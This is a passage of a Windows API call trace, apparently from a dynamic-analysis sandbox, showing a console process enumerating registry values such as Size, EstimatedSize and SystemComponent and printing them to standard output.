_Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.209] __iob_func () returned 0x7fefd702a80 [0147.209] _fileno (_File=0x7fefd702ab0) returned 1 [0147.209] _errno () returned 0xc4bb0 [0147.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.209] _errno () returned 0xc4bb0 [0147.209] GetFileType (hFile=0x50) returned 0x1 [0147.209] lstrlenW (lpString=" ") returned 4 [0147.209] GetConsoleOutputCP () returned 0x1b5 [0147.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.209] GetConsoleOutputCP () returned 0x1b5 [0147.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.209] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.209] __iob_func () returned 0x7fefd702a80 [0147.209] _fileno (_File=0x7fefd702ab0) returned 1 [0147.209] _errno () returned 0xc4bb0 [0147.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.209] _errno () returned 0xc4bb0 [0147.209] GetFileType (hFile=0x50) returned 0x1 [0147.209] lstrlenW (lpString="") returned 0 [0147.209] __iob_func () returned 0x7fefd702a80 [0147.209] _fileno (_File=0x7fefd702ab0) returned 1 [0147.209] _errno () returned 0xc4bb0 [0147.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.209] _errno () returned 0xc4bb0 [0147.210] GetFileType (hFile=0x50) returned 0x1 [0147.210] lstrlenW (lpString="\n") returned 1 [0147.210] GetConsoleOutputCP () returned 0x1b5 [0147.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.210] GetConsoleOutputCP () returned 0x1b5 [0147.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.210] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.210] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.210] GetProcessHeap () returned 0x2e0000 [0147.210] GetProcessHeap () returned 0x2e0000 [0147.210] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.210] GetProcessHeap () returned 0x2e0000 [0147.210] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.210] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.210] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.210] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.210] GetProcessHeap () returned 0x2e0000 [0147.210] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.210] GetProcessHeap () returned 0x2e0000 [0147.210] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.210] GetProcessHeap () returned 0x2e0000 [0147.210] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.210] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.210] __iob_func () returned 0x7fefd702a80 [0147.210] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.210] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.211] _fileno (_File=0x7fefd702ab0) returned 1 [0147.211] _errno () returned 0xc4bb0 [0147.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.211] _errno () returned 0xc4bb0 [0147.211] GetFileType (hFile=0x50) returned 0x1 [0147.211] lstrlenW (lpString=" ") returned 4 [0147.211] GetConsoleOutputCP () returned 0x1b5 [0147.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.211] GetConsoleOutputCP () returned 0x1b5 [0147.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.211] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.211] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.211] lstrlenW (lpString="Size") returned 4 [0147.211] __iob_func () returned 0x7fefd702a80 [0147.211] _fileno (_File=0x7fefd702ab0) returned 1 [0147.211] _errno () returned 0xc4bb0 [0147.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.211] _errno () returned 0xc4bb0 [0147.211] GetFileType (hFile=0x50) returned 0x1 [0147.211] lstrlenW (lpString="Size") returned 4 [0147.211] GetConsoleOutputCP () returned 0x1b5 [0147.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.211] GetConsoleOutputCP () returned 0x1b5 [0147.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.212] __iob_func () returned 0x7fefd702a80 [0147.212] _fileno (_File=0x7fefd702ab0) returned 1 [0147.212] _errno () returned 0xc4bb0 [0147.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.212] _errno () returned 0xc4bb0 [0147.212] GetFileType (hFile=0x50) returned 0x1 [0147.212] lstrlenW (lpString=" ") returned 4 [0147.212] GetConsoleOutputCP () returned 0x1b5 [0147.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.212] GetConsoleOutputCP () returned 0x1b5 [0147.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.212] __iob_func () returned 0x7fefd702a80 [0147.212] _fileno (_File=0x7fefd702ab0) returned 1 [0147.212] _errno () returned 0xc4bb0 [0147.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.212] _errno () returned 0xc4bb0 [0147.212] GetFileType (hFile=0x50) returned 0x1 [0147.212] lstrlenW (lpString="REG_SZ") returned 6 [0147.212] GetConsoleOutputCP () returned 0x1b5 [0147.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.213] GetConsoleOutputCP () returned 0x1b5 [0147.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.213] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.213] __iob_func () returned 0x7fefd702a80 [0147.213] _fileno (_File=0x7fefd702ab0) returned 1 [0147.213] _errno () returned 0xc4bb0 [0147.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.213] _errno () returned 0xc4bb0 [0147.213] GetFileType (hFile=0x50) returned 0x1 [0147.213] lstrlenW (lpString=" ") returned 4 [0147.213] GetConsoleOutputCP () returned 0x1b5 [0147.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.213] GetConsoleOutputCP () returned 0x1b5 [0147.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.213] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.213] __iob_func () returned 0x7fefd702a80 [0147.213] _fileno (_File=0x7fefd702ab0) returned 1 [0147.213] _errno () returned 0xc4bb0 [0147.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.213] _errno () returned 0xc4bb0 [0147.213] GetFileType (hFile=0x50) returned 0x1 [0147.213] lstrlenW (lpString="") returned 0 [0147.214] __iob_func () returned 0x7fefd702a80 [0147.214] _fileno (_File=0x7fefd702ab0) returned 1 [0147.214] _errno () returned 0xc4bb0 [0147.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.214] _errno () returned 0xc4bb0 [0147.214] GetFileType (hFile=0x50) returned 0x1 [0147.214] lstrlenW (lpString="\n") returned 1 [0147.214] GetConsoleOutputCP () returned 0x1b5 [0147.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.214] GetConsoleOutputCP () returned 0x1b5 [0147.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.214] GetProcessHeap () returned 0x2e0000 [0147.214] GetProcessHeap () returned 0x2e0000 [0147.214] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.214] GetProcessHeap () returned 0x2e0000 [0147.214] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.214] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.214] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.214] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.214] GetProcessHeap () returned 0x2e0000 [0147.214] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.214] GetProcessHeap () returned 0x2e0000 [0147.214] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.214] GetProcessHeap () returned 0x2e0000 [0147.214] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.214] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x2ff0, pcbData=0x23f670*=0x4) returned 0x0 [0147.215] __iob_func () returned 0x7fefd702a80 [0147.215] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.215] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.215] _fileno (_File=0x7fefd702ab0) returned 1 [0147.215] _errno () returned 0xc4bb0 [0147.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.215] _errno () returned 0xc4bb0 [0147.215] GetFileType (hFile=0x50) returned 0x1 [0147.215] lstrlenW (lpString=" ") returned 4 [0147.215] GetConsoleOutputCP () returned 0x1b5 [0147.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.215] GetConsoleOutputCP () returned 0x1b5 [0147.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.215] lstrlenW (lpString="EstimatedSize") returned 13 [0147.215] __iob_func () returned 0x7fefd702a80 [0147.215] _fileno (_File=0x7fefd702ab0) returned 1 [0147.215] _errno () returned 0xc4bb0 [0147.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.215] _errno () returned 0xc4bb0 [0147.215] GetFileType (hFile=0x50) returned 0x1 [0147.215] lstrlenW (lpString="EstimatedSize") returned 13 [0147.215] GetConsoleOutputCP () returned 0x1b5 [0147.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.216] GetConsoleOutputCP () returned 0x1b5 [0147.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.216] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.216] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.216] __iob_func () returned 0x7fefd702a80 [0147.216] _fileno (_File=0x7fefd702ab0) returned 1 [0147.216] _errno () returned 0xc4bb0 [0147.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.216] _errno () returned 0xc4bb0 [0147.216] GetFileType (hFile=0x50) returned 0x1 [0147.216] lstrlenW (lpString=" ") returned 4 [0147.216] GetConsoleOutputCP () returned 0x1b5 [0147.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.216] GetConsoleOutputCP () returned 0x1b5 [0147.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.216] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.216] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.216] __iob_func () returned 0x7fefd702a80 [0147.216] _fileno (_File=0x7fefd702ab0) returned 1 [0147.216] _errno () returned 0xc4bb0 [0147.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.216] _errno () returned 0xc4bb0 [0147.216] GetFileType (hFile=0x50) returned 0x1 [0147.216] lstrlenW (lpString="REG_DWORD") returned 9 [0147.216] GetConsoleOutputCP () returned 0x1b5 [0147.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.217] GetConsoleOutputCP () returned 0x1b5 [0147.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.217] __iob_func () returned 0x7fefd702a80 [0147.217] _fileno (_File=0x7fefd702ab0) returned 1 [0147.217] _errno () returned 0xc4bb0 [0147.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.217] _errno () returned 0xc4bb0 [0147.217] GetFileType (hFile=0x50) returned 0x1 [0147.217] lstrlenW (lpString=" ") returned 4 [0147.217] GetConsoleOutputCP () returned 0x1b5 [0147.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.217] GetConsoleOutputCP () returned 0x1b5 [0147.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.217] __iob_func () returned 0x7fefd702a80 [0147.217] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.218] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x2ff0") returned 6 [0147.218] _fileno (_File=0x7fefd702ab0) returned 1 [0147.218] _errno () returned 0xc4bb0 [0147.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.218] _errno () returned 0xc4bb0 [0147.218] GetFileType (hFile=0x50) returned 0x1 [0147.218] lstrlenW (lpString="0x2ff0") returned 6 [0147.218] GetConsoleOutputCP () returned 0x1b5 [0147.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2ff0", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.218] GetConsoleOutputCP () returned 0x1b5 [0147.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2ff0", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x2ff0", lpUsedDefaultChar=0x0) returned 6 [0147.218] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.218] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.218] __iob_func () returned 0x7fefd702a80 [0147.218] _fileno (_File=0x7fefd702ab0) returned 1 [0147.218] _errno () returned 0xc4bb0 [0147.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.218] _errno () returned 0xc4bb0 [0147.218] GetFileType (hFile=0x50) returned 0x1 [0147.218] lstrlenW (lpString="\n") returned 1 [0147.218] GetConsoleOutputCP () returned 0x1b5 [0147.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.218] GetConsoleOutputCP () returned 0x1b5 [0147.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.219] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.219] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.219] GetProcessHeap () returned 0x2e0000 [0147.219] GetProcessHeap () returned 0x2e0000 [0147.219] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.219] GetProcessHeap () returned 0x2e0000 [0147.219] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.219] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.219] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.219] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.219] GetProcessHeap () returned 0x2e0000 [0147.219] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.219] GetProcessHeap () returned 0x2e0000 [0147.219] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.219] GetProcessHeap () returned 0x2e0000 [0147.219] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.219] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.219] __iob_func () returned 0x7fefd702a80 [0147.219] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.219] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.219] _fileno (_File=0x7fefd702ab0) returned 1 [0147.219] _errno () returned 0xc4bb0 [0147.219] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.219] _errno () returned 0xc4bb0 [0147.219] GetFileType (hFile=0x50) returned 0x1 [0147.219] lstrlenW (lpString=" ") returned 4 [0147.219] GetConsoleOutputCP () returned 0x1b5 [0147.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.219] GetConsoleOutputCP () returned 0x1b5 [0147.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.220] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.220] lstrlenW (lpString="SystemComponent") returned 15 [0147.220] __iob_func () returned 0x7fefd702a80 [0147.220] _fileno (_File=0x7fefd702ab0) returned 1 [0147.220] _errno () returned 0xc4bb0 [0147.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.220] _errno () returned 0xc4bb0 [0147.220] GetFileType (hFile=0x50) returned 0x1 [0147.220] lstrlenW (lpString="SystemComponent") returned 15 [0147.220] GetConsoleOutputCP () returned 0x1b5 [0147.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.220] GetConsoleOutputCP () returned 0x1b5 [0147.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0147.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.220] fflush (in: _File=0x7fefd702ab0 | out: 